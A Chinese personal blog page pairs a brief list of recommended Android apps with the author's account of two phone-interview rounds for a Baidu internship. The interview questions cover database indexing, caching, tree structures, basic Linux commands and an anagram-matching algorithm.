不解释，最近太火了

Talking Tom（会说话的Tom猫）

据说把妹必备

Doodle Jump/Mega Jump/Ninja Jump/Hyper Jump

适合触屏玩的休闲游戏，后面的几乎都是抄袭前面的。第一个最朴实，第二个最华丽，后面的还没装…

植物大战僵尸

虽说是国内一个团队仿制的，但是效果还不错，但是不适合在触屏上玩

iLightr

再一个装X类，1.2以后还可以吹灭，呵呵。

Solo（吉他独奏）

著名的iPhone女之后涌现的Android女御用App。

Musical Pro（移动演奏家）

非常棒的钢琴演奏效果，还带有练曲功能，即使完全是乐盲也能奏出好听的曲子~比同类的xPiano和MyPiano好，但是Desire Z的外放实在是渣

实习面经（二）：百度商务搜索部

logicmd — Sat, 01 Jan 2011 01:12:49 +0800

在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。

一面

周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。

开始同样要求做自我介绍，然后在开始正式的电面。

关于数据库的。

开始问了我数据库中索引的概念，应该算是warming up吧。由于我没有学过数据库类的课程，所以说的有些含糊不清。百度百科里对于索引是这么定义的。

使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构，例如 employee 表的姓（name）列。如果要按姓查找特定职员，与必须搜索表中的所有行相比，索引会帮助您更快地获得该信息。

索引是一个单独的、物理的数据库结构，它是某个表中一列或若干列值的集合和相应的指向表中物理标识这些值的数据页的逻辑指针清单。

索引提供指向存储在表的指定列中的数据值的指针，然后根据您指定的排序顺序对这些指针排序。数据库使用索引的方式与您使用书籍中的索引的方式很相似：它搜索索引以找到特定值，然后顺指针找到包含该值的行。

接下来就是操作数据库的语言，个人是用PHP操作过数据库，所以面试官也没有问太多内容。

再接着问了一个情景，对于很多人访问同一个数据库发出了很多请求，如何优化？答曰使用缓存，缓存可以减小数据库的压力，提高响应速度；又问了缓存的弊端，我也大概地答了一下，缓存要考虑过期时间的问题，可能会更新不及时，有时候需要手动更新缓存blabla。

一个具体的情景

一篇很长很长的英文文章，中间可能出现[a-z;A-Z]，统计哪个字母没有出现过。
这个我居然说用hash表，囧。
然后把结果储存起来发给下游，最小的储存结构是什么。答曰char[52]数组即可。

关于二叉树
1. 什么是平衡二叉树？
2. 举出一个特殊二叉树。
3. 二叉树的存储结构。
关于多叉树数据结构实现

当然需要一个变量存储该节点内容。至于多叉的结构。我已开始说数组，但是申请多少呢？所以想到了链表。现在去查了一下资料。链表确实是不错的选择。

// 节点结构
typedef struct node
{
	void * data ; // 内容存储在这里
	// 至于内容是什么类型的，全靠程序员自己把握。
	struct node * nextnode ; // 同一父节点下的其他节点，
	// 最后一个节点该指针为NULL
	struct node * sublevel ; // 子节点指针，指向第一个子节点；
	// 无子节点该指针为NULL
}Node ;

整个一面大约持续40分钟。感觉只答对了大约一半的问题，sigh… 没想到过了不到10分钟，二面电话就来了。

二面

二面一上来便要求我说明可能的实习时间，以及要求我详细滴介绍了项目和竞赛获奖情况。接下来就开始正式面试了

一些Linux命令的问题
1. 看剩余内存是多少用什么命令？——free
2. vm-state是干嘛的？这个我还真不知道，后面去搜索也没搜出来
3. 结束进程用什么命令？——kill
4. 强制结束进程要给什么信号？——答不记得了，应该看manual可以查到 = =! 后来查了一下是给kill -9
5. 100！末尾有几个0？（这不是小学奥赛题么？）
6. 大边对齐、小边对齐（这个真没听说过；现在想想是不是问的大端法，小端法的问题 = =）
关于兄弟单词
给你一个单词a，如果通过交换单词中字母的顺序可以得到另外的单词b，那么定义b是a的兄弟单词。现在给你一个字典，用户输入一个单词，让你根据字典找出这个单词有多少个兄弟单词。（这道题面试官说有O(1) 的解法，。。。。。）

定义操作 F(A1,A2,A3….An)=P(A1)*P(A2)*P(A3)…..P(An);

其中 P(A1)= PrimeNum[A1-'a'],
PrimeNum 是从2开始的连续素数数组(2,3,5,7,…..)

示例:
F(bad)=P(b)*P(a)*P(d)=3*2*7=42

遍历字典,求每个单词的F()操作值,如果相等就是,不等就下一个

为了尽可能容纳更多单词，定义36进制，数元为[0~9, A~Z]
每个单词的Key表示为一个长度为26的字符串，每一位分别是字母A~Z在这个单词中出现的次数(n: 0~Z)，
如单词good，Key:00010010000000200000000000

ABCDEFGHIJKLMNOPQRSTUVWXYZ
00010010000000200000000000

输入单词F([A~Z]{0~Z})

1、求F的Key
2、遍历字典，求每个单词的Key，Key相等则为兄弟单词

对比素数积Key，
优点：不易溢出
缺点：虽然定义的n在0~Z之间，但还是覆盖不到类似a{37}相同字符出现超过36个的情况，但现有的单词序列中似乎还没有:)

二面大约花了20分钟。

等待

然后就是长达1周多的等待，然后，然后收到了助理MM的邮件，二面Fail。其实我二面的感觉比一面更好点，至少问题正确率高点，但是据 @whusnoppy 透露，二面应该是小boss了，再加上他们一致对于我的实习时间不满意，所以。。。

不管怎样，长了不少知识，Happy new year吧！